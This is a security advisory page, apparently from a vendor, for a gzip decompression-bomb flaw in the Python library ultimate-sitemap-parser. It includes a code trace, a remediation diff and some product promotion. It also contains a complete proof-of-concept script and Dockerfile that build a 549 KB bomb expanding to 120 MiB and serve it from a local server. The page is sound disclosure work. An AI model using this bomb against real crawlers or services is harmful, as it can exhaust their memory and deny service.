GHSA-8823-QG2X-PV9F

GHSA-8823-QG2X-PV9F is a high-severity uncontrolled resource consumption vulnerability in ultimate-sitemap-parser (pip), affecting versions <= 1.8.0. It is fixed in 1.8.1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Ultimate Sitemap Parser (USP): Gzip Decompression Bomb Bypasses Sitemap Size Limit

Gzip Decompression Bomb Bypasses Sitemap Size Limit

ultimate-sitemap-parser enforces a 100 MiB size limit on sitemap responses, but applies it only to the compressed bytes received over the network. When a .gz sitemap is fetched, usp/helpers.py:239 calls gzip_lib.decompress(data) with no output-size cap, allowing an attacker-controlled server to serve a small gzip-compressed payload (~549 KB) that expands to over 120 MiB in process memory. This completely bypasses the declared limit and can exhaust memory or crash any process that calls sitemap_tree_for_homepage() against an untrusted site.

Details

The library declares a maximum sitemap size constant in usp/fetch_parse.py:64:

__MAX_SITEMAP_SIZE = 100 * 1024 * 1024  # Max. uncompressed sitemap size

Despite the comment saying "uncompressed", this value is passed directly to the HTTP client layer at usp/fetch_parse.py:130:

web_client.set_max_response_data_length(self.__MAX_SITEMAP_SIZE)

The HTTP client (usp/web_client/requests_client.py:57-58) slices only the raw compressed response bytes:

data = self.__requests_response.content[: self.__max_response_data_length]

The truncated (but still compressed) bytes are then passed through the pipeline to usp/fetch_parse.py:175:

response_content = ungzipped_response_content(url=self._url, response=response)

Inside ungzipped_response_content (usp/helpers.py:265-267), when the URL ends in .gz or the response carries a gzip content type, decompression is triggered:

if __response_is_gzipped_data(url=url, response=response):
    data = gunzip(data)

The gunzip function (usp/helpers.py:239) decompresses without any output-size guard:

gunzipped_data = gzip_lib.decompress(data)

No post-decompression size check exists anywhere in the call chain. Dynamic reproduction confirmed that 549,213 bytes of compressed input passed the 100 MiB gate check (compressed < limit → True) and then expanded to 125,829,234 bytes (120.0 MiB) in memory with no exception raised.

PoC

Environment setup:

# Clone the repository at the affected commit
git clone https://github.com/GateNLP/ultimate-sitemap-parser /tmp/usp-repo
cd /tmp/usp-repo
git checkout 182f4642f145230b68e7518e627883edd09168ca

# Build and run via Docker (memory-limited to 512 MiB)
docker build -t usp-vuln-002 -f vuln-002/Dockerfile /path/to/report-dir/
docker run --rm --memory=512m usp-vuln-002

Alternatively, run directly:

python -m venv /tmp/usp-poc
. /tmp/usp-poc/bin/activate
pip install ultimate-sitemap-parser==1.8.0
python3 poc.py

PoC script (poc.py), abbreviated attack flow:

import gzip, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from usp.tree import sitemap_tree_for_homepage

# Build a gzip bomb: 120 MB uncompressed, ~549 KB compressed
bomb_xml = (
    b'<?xml version="1.0" encoding="UTF-8"?>'
    b'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'
    b'<!--' + b'B' * (120 * 1024 * 1024) + b'-->'
    b'</urlset>'
)
compressed_bomb = gzip.compress(bomb_xml, compresslevel=1)

class BombHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        port = self.server.server_address[1]
        if self.path == "/robots.txt":
            body = f"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\n".encode()
            self.send_response(200); self.end_headers(); self.wfile.write(body)
        elif self.path == "/sitemap.xml.gz":
            self.send_response(200)
            self.send_header("Content-Type", "application/x-gzip")
            self.end_headers(); self.wfile.write(compressed_bomb)
        else:
            self.send_response(404); self.end_headers()
    def log_message(self, *a): pass

server = HTTPServer(("127.0.0.1", 0), BombHandler)
port = server.server_address[1]
threading.Thread(target=server.serve_forever, daemon=True).start()

sitemap_tree_for_homepage(f"http://127.0.0.1:{port}/", use_known_paths=False)
server.shutdown()

Expected output:

[INTERCEPT] gunzip() input=549,213 B  output=125,829,234 B (120.0 MB)
[+] sitemap_tree_for_homepage() returned without exception
compressed=549,213 B < limit=104,857,600 B (passes gate)
decompressed=125,829,234 B > limit=104,857,600 B (no post-decompress check)
EXCEEDS LIMIT: True
[PASS] Decompression bomb bypassed the size limit.

The parser fetches /sitemap.xml.gz, passes the compressed-size gate check, decompresses 549 KB into 120 MiB in process memory, and returns normally without raising an exception.

Remediation:

--- a/usp/helpers.py
+++ b/usp/helpers.py
+import io
 
-def gunzip(data: bytes) -> bytes:
+def gunzip(data: bytes, max_output_bytes: int | None = None) -> bytes:
     try:
-        gunzipped_data = gzip_lib.decompress(data)
+        chunks, total = [], 0
+        with gzip_lib.GzipFile(fileobj=io.BytesIO(data)) as gz:
+            while chunk := gz.read(1024 * 1024):
+                total += len(chunk)
+                if max_output_bytes is not None and total > max_output_bytes:
+                    raise GunzipException(
+                        f"Gunzipped data exceeds maximum size of {max_output_bytes} bytes."
+                    )
+                chunks.append(chunk)
+        gunzipped_data = b"".join(chunks)

-def ungzipped_response_content(url, response):
+def ungzipped_response_content(url, response, max_uncompressed_size=None):
-            data = gunzip(data)
+            data = gunzip(data, max_output_bytes=max_uncompressed_size)

--- a/usp/fetch_parse.py
-        response_content = ungzipped_response_content(url=self._url, response=response)
+        response_content = ungzipped_response_content(
+            url=self._url, response=response,
+            max_uncompressed_size=self.__MAX_SITEMAP_SIZE,
+        )

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

# Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
    gcc \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the vulnerable library from the cloned repo (build context: parent dir)
COPY repo/ /app/repo/

# Install the library from local source (version 1.8.0)
RUN pip install --no-cache-dir /app/repo/

# Copy the PoC script
COPY vuln-002/poc.py /app/poc.py

# Run with unbuffered output so evidence appears immediately
CMD ["python3", "-u", "/app/poc.py"]

poc.py

#!/usr/bin/env python3
"""
Proof-of-Concept for VULN-002:
Gzip Decompression Bomb Bypasses Sitemap Size Limit
GateNLP/ultimate-sitemap-parser 1.8.0

Vulnerability location: usp/helpers.py:239
  gunzipped_data = gzip_lib.decompress(data)   # no max_length

Attack path:
  1. Attacker serves /robots.txt pointing to /sitemap.xml.gz
  2. Library enforces MAX_SITEMAP_SIZE (100 MB) on *compressed* response bytes
  3. Library calls gunzip() with no output-size limit
  4. Small compressed payload expands to >>100 MB in process memory

Expected outcome: gunzip() output size > 100 MB with no exception raised.
"""

import gzip
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

# Mirrors usp/fetch_parse.py:64, the library's declared maximum
MAX_SITEMAP_SIZE = 100 * 1024 * 1024  # 100 MB

# Bomb decompresses to this size (deliberately exceeds the limit)
BOMB_UNCOMPRESSED_MB = 120
BOMB_UNCOMPRESSED_BYTES = BOMB_UNCOMPRESSED_MB * 1024 * 1024


def get_rss_mb() -> float:
    """Read current RSS from /proc/self/status in MB."""
    try:
        with open("/proc/self/status") as fh:
            for line in fh:
                if line.startswith("VmRSS:"):
                    return int(line.split()[1]) / 1024
    except OSError:
        pass
    return 0.0


# ---------------------------------------------------------------------------
# Step 1, Build the gzip bomb
# ---------------------------------------------------------------------------
print("[*] Building gzip bomb (compresslevel=1, fast) ...")
bomb_xml = (
    b'<?xml version="1.0" encoding="UTF-8"?>'
    b'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'
    b'<!--' + b'B' * BOMB_UNCOMPRESSED_BYTES + b'-->'
    b'</urlset>'
)
compressed_bomb = gzip.compress(bomb_xml, compresslevel=1)

print(f"[+] Uncompressed payload : {len(bomb_xml):>12,} bytes  ({len(bomb_xml)/1024/1024:.1f} MB)")
print(f"[+] Compressed bomb      : {len(compressed_bomb):>12,} bytes  ({len(compressed_bomb)/1024/1024:.3f} MB)")
print(f"[+] Library MAX_SITEMAP_SIZE : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)")
print(f"[+] compressed < limit   : {len(compressed_bomb) < MAX_SITEMAP_SIZE}  "
      f"(bomb passes the size gate)")
print(f"[+] uncompressed > limit : {len(bomb_xml) > MAX_SITEMAP_SIZE}  "
      f"(decompression would exceed intent)")
print()

# ---------------------------------------------------------------------------
# Step 2, Serve the bomb via a local HTTP server
# ---------------------------------------------------------------------------
class BombHandler(BaseHTTPRequestHandler):
    def do_GET(self) -> None:
        port = self.server.server_address[1]
        if self.path == "/robots.txt":
            body = (
                f"User-agent: *\n"
                f"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\n"
            ).encode()
            self.send_response(200)
            self.send_header("Content-Type", "text/plain; charset=utf-8")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)

        elif self.path == "/sitemap.xml.gz":
            self.send_response(200)
            self.send_header("Content-Type", "application/x-gzip")
            self.send_header("Content-Length", str(len(compressed_bomb)))
            self.end_headers()
            self.wfile.write(compressed_bomb)

        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, fmt: str, *args: object) -> None:  # silence default log
        print(f"    [HTTP] {self.path}  {fmt % args}")


server = HTTPServer(("127.0.0.1", 0), BombHandler)
port = server.server_address[1]
threading.Thread(target=server.serve_forever, daemon=True).start()
print(f"[*] Bomb server listening on http://127.0.0.1:{port}/")

# ---------------------------------------------------------------------------
# Step 3, Monkeypatch usp.helpers.gunzip to intercept decompressed size
# ---------------------------------------------------------------------------
import usp.helpers as _helpers

_orig_gunzip = _helpers.gunzip
_intercepted: list[int] = []


def _patched_gunzip(data: bytes) -> bytes:
    result = _orig_gunzip(data)
    _intercepted.append(len(result))
    print(f"    [INTERCEPT] gunzip() input={len(data):,} B  output={len(result):,} B "
          f"({len(result)/1024/1024:.1f} MB)")
    return result


_helpers.gunzip = _patched_gunzip

# ---------------------------------------------------------------------------
# Step 4, Trigger the vulnerability
# ---------------------------------------------------------------------------
from usp.tree import sitemap_tree_for_homepage

rss_before = get_rss_mb()
print(f"[*] RSS before parse: {rss_before:.1f} MB")
print(f"[*] Calling sitemap_tree_for_homepage(http://127.0.0.1:{port}/) ...")

try:
    _tree = sitemap_tree_for_homepage(
        f"http://127.0.0.1:{port}/",
        use_known_paths=False,
    )
    parse_raised = False
    print("[+] sitemap_tree_for_homepage() returned without exception")
except Exception as exc:
    parse_raised = True
    print(f"[!] sitemap_tree_for_homepage() raised: {exc}")

rss_after = get_rss_mb()
print(f"[*] RSS after  parse: {rss_after:.1f} MB  (delta: +{rss_after - rss_before:.1f} MB)")

server.shutdown()

# ---------------------------------------------------------------------------
# Step 5, Evaluate and report
# ---------------------------------------------------------------------------
print()
print("=" * 60)
print("EXPLOIT RESULT SUMMARY")
print("=" * 60)

passed = False
reason = "no gunzip intercept captured"

if _intercepted:
    max_decompressed = max(_intercepted)
    print(f"  gunzip() call(s)     : {len(_intercepted)}")
    print(f"  max decompressed     : {max_decompressed:,} bytes ({max_decompressed/1024/1024:.1f} MB)")
    print(f"  library limit        : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)")
    print(f"  EXCEEDS LIMIT        : {max_decompressed > MAX_SITEMAP_SIZE}")

    if max_decompressed > MAX_SITEMAP_SIZE:
        passed = True
        reason = (
            f"gunzip() decompressed {max_decompressed:,} bytes "
            f"({max_decompressed/1024/1024:.1f} MB), exceeding the "
            f"{MAX_SITEMAP_SIZE/1024/1024:.0f} MB limit without raising an exception"
        )
        print()
        print("  [PASS] Decompression bomb bypassed the size limit.")
        print(f"  compressed={len(compressed_bomb):,} B < limit={MAX_SITEMAP_SIZE:,} B "
              f"(passes gate)")
        print(f"  decompressed={max_decompressed:,} B > limit={MAX_SITEMAP_SIZE:,} B "
              f"(no post-decompress check)")
    else:
        reason = (
            f"gunzip() decompressed {max_decompressed:,} bytes but did not exceed "
            f"{MAX_SITEMAP_SIZE:,} bytes limit"
        )
        print()
        print("  [FAIL] Decompressed size did not exceed limit.")
else:
    print("  [FAIL] gunzip() was not intercepted, sitemap path not reached.")

print("=" * 60)
sys.exit(0 if passed else 1)

Impact

Any application that calls sitemap_tree_for_homepage() (or the underlying fetch/parse pipeline) against an attacker-controlled or compromised domain is vulnerable. The attacker only needs to control a web server that serves a valid robots.txt pointing to a gzip-compressed sitemap URL. No authentication or special configuration is required; the vulnerability is triggered by default library behavior.

A ~549 KB compressed payload expands to 120 MiB in process memory. Larger bombs are possible up to the compressed-size limit (100 MiB of compressed data could expand to tens of gigabytes). Repeated requests or sufficiently large bombs can cause out-of-memory crashes, service disruptions, or denial of service in any process or service that performs sitemap crawling.

This vulnerability is a Denial of Service via Uncontrolled Resource Consumption (Decompression Bomb / Zip Bomb). Affected parties include:

  • SEO tooling, search engine crawlers, and indexing services using this library.
  • Web frameworks and microservices that expose a sitemap-crawling endpoint to external input.
  • Any automated pipeline that regularly crawls third-party sitemaps.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

GHSA-8823-QG2X-PV9F has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.8.1); upgrading removes the vulnerable code path.

Affected versions

ultimate-sitemap-parser (<= 1.8.0)

Security releases

ultimate-sitemap-parser → 1.8.1 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade ultimate-sitemap-parser to 1.8.1 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-8823-QG2X-PV9F? GHSA-8823-QG2X-PV9F is a high-severity uncontrolled resource consumption vulnerability in ultimate-sitemap-parser (pip), affecting versions <= 1.8.0. It is fixed in 1.8.1. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
  2. How severe is GHSA-8823-QG2X-PV9F? GHSA-8823-QG2X-PV9F has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of ultimate-sitemap-parser are affected by GHSA-8823-QG2X-PV9F? ultimate-sitemap-parser (pip) versions <= 1.8.0 is affected.
  4. Is there a fix for GHSA-8823-QG2X-PV9F? Yes. GHSA-8823-QG2X-PV9F is fixed in 1.8.1. Upgrade to this version or later.
  5. Is GHSA-8823-QG2X-PV9F exploitable, and should I be worried? Whether GHSA-8823-QG2X-PV9F is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-8823-QG2X-PV9F is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-8823-QG2X-PV9F? Upgrade ultimate-sitemap-parser to 1.8.1 or later.

Other vulnerabilities in ultimate-sitemap-parser

Stop the waste.
Protect your environment with Kodem.